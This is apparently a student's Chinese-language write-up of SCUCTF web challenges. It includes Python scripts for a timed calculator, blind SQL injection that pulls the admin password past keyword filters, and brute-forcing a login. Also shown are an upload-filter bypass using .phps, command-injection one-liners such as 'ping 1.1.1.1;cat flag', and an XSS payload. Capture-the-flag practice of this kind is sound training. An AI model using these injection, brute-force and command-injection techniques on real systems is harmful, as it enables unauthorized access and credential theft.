SCUCTFwp

这两天做了SCUCTF平台上的web题,发现有很多问题,先在此记录下,等度过期末考试再好好去解决

先写一下自己能做出来的题(一部分)的wp。。

计算器

手速问题,用python的eval即可算出计算结果;再用session请求二十次即可

查看源代码发现数字和符号出现的地方有点乱。。而且每次刷新运算的个数和符号都很随机,
因此用了正则匹配来得到运算元素

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re
import time

url = 'http://120.78.66.77:81/'
s = requests.session()

for i in range(1,21):
req = s.get(url).text
lists = re.findall('<div.*?>(.*?)</div>',req,re.M) #获取匹配到的所有内容,返回的为列表
#.*?非贪婪匹配;使用()会返回()里面的内容;re.M多行匹配
exp = ''
for i in lists:
exp+=i
exp = exp.replace('=','') #去掉最后的'=',以便使用eval运算
result = eval(exp)
data = {'ans':'%d'%result}
time.sleep(1) #不能运行太快
final = s.post(url,data)
print(final.text)

登录一下

查看源代码,发现提示:

hint:数据库中密码字段名为pwd,且只有一个用户名为admin的用户-

前段时间刚好在学sql过滤一些关键字后怎样注入,还是能很轻松的写出脚本滴2333

过滤内容(一部分):

空格
substr
mid
from
and
or
select

把substr、mid给过滤了,不过可以使用right(str,lenth)这个函数,返回从右开始长度为length的字符串

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests

url = 'http://120.78.66.77:84/fb69d7b4467e33c71b0153e62f7e2bf0/'

# 数据库名长度
for i in range(1,100):
payload = "0'or(length(database())=%d)#" % i
data = {'uname':'%s' % payload,'pwd':'asdf'}
req = requests.post(url,data)
if 'error' in req.text:
print("数据库名长度为: " ,i)
break

# 数据库名
for k in reversed(range(1,4)):
for i in range(32,127):
payload = "0'or(ascii(right(database(),%d))=%d)#" % (k,i)
data = {'uname':'%s' % payload,'pwd':'asdf'}
req = requests.post(url,data)
if 'error' in req.text:
print(chr(i))
break
print('over')


# 密码长度
for i in range(1,100):
payload = "0'or(length(pwd)=%d)#" % i
data = {'uname':'%s' % payload,'pwd':'asdf'}
req = requests.post(url,data)
if 'error' in req.text:
print("密码长度为: " ,i)
break
print('over')

# 密码
for k in reversed(range(1,31)):
for i in range(32,127):
payload = "0'or(ascii(right(pwd,%d))=%d)#" % (k,i)
data = {'uname':'%s' % payload,'pwd':'asdf'}
req = requests.post(url,data)
if 'error' in req.text:
print(chr(i), end='')
break
print('over')

一款船细的外部题目

查看源代码

发现有提示,进入到info.php

页面显示这个页面被删了,则查看info.php.bak(备份文件)

发现下载了下来,打开发现是字典,

则可以进行爆破;虽然登录的页面把按钮隐藏了,但可以按enter进入,会返回

开始用那bak文件中的一百多个用户名爆破,爆了n个小时还是不行,而且脚本总是与主机断开连接。。
之后想起来提示中的名字God sun ,就想着用名字中含有sun的,一试果然成功了

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = 'http://120.78.66.77:88/uploadprocess.php/'

a = ['sunyq']

for i in a:
for k in range(1900,2001): # 年
for w in range(1,13): # 月
if w<10:
w = str(w)
w = '0'+w
else:
w = str(w)
k = str(k)
username = i
password = k+i+w
data = {'username':'%s'%username,'password':'%s'%password}
req = requests.post(url,data)
if 'simple' not in req.text:
print(data)
print(req.text)
break
print('运行的名字: ',i)
print()

print('结束运行')

运行结果:

{'username': 'sunyq', 'password': '1926sunyq08'}
Oh My God! You are a smart boy!<br><a href='f1I3.php'/>God Huang's Small secret</a>

登录之后,是个文件上传的页面

不过上传php文件不行,改用后缀为.phps的文件后成功上传

phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码

cat?

这道题没法做。。端口出问题了。。不过记住方法吧

类型为命令注入

Linux下的命令注入:

ping 1.1.1.1 && cat flag
#先执行ping后执行cat flag

ping 1.1.1.1 | cat flag
#只执行cat flag

ping 1.1.1.1 & cat flag
#先执行cat flag后执行ping

或者使用分号;一次执行两条语句:

ping 1.1.1.1;cat flag
ping 1.1.1.1;tac flag
...

一些显示文件内容的方法:

cat     由第一行开始显示内容,并将所有内容输出
tac     从最后一行倒序显示内容,并将所有内容输出
more    根据窗口大小,一页一页的显示文件内容
less    和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head    只显示头几行
tail    只显示最后几行
nl      类似于cat -n,显示时输出行号

这真的不是XSS

查看源代码:

即将变量asdfghjkl的值进行rot13加密即可得到flag

这可能是XSS

看着和上一题很像,但源代码不一样:

不是很懂。。。直接输入

<script>getFlag()</script>

在下面的输出框出现了flag

Tor-Ex

点击后进入了hint1.php页面,查看源代码,发现有这样的提示:

Do you know "GET" method ?<br> Please let me know who is the "author".

还发现

< title >1 of 8< /title >

hint1.php改为hint2.php发现有这个页面,则应该有hint1hint8这几个意思,写脚本跑出所有内容:

1
2
3
4
5
6
7
8
9
10
11
import requests
import re

for i in range(1, 9):
url = 'http://120.78.66.77:15000/Tor-Ex/hint'
url = url + str(i) + '.php'
res = requests.get(url).text
# print(res)
data = re.findall('<body.*?(.*?)</body>',res, re.S)[0]
print(i, end='')
print(data)

跑出来一堆具有迷惑性的内容。。。。。。

后来在主页面找到了隐藏的提示

< meta name="author" content="TCPSoft" >

则在hint1.php进行get提交

hint1.php?author=TCPSoft

得到flag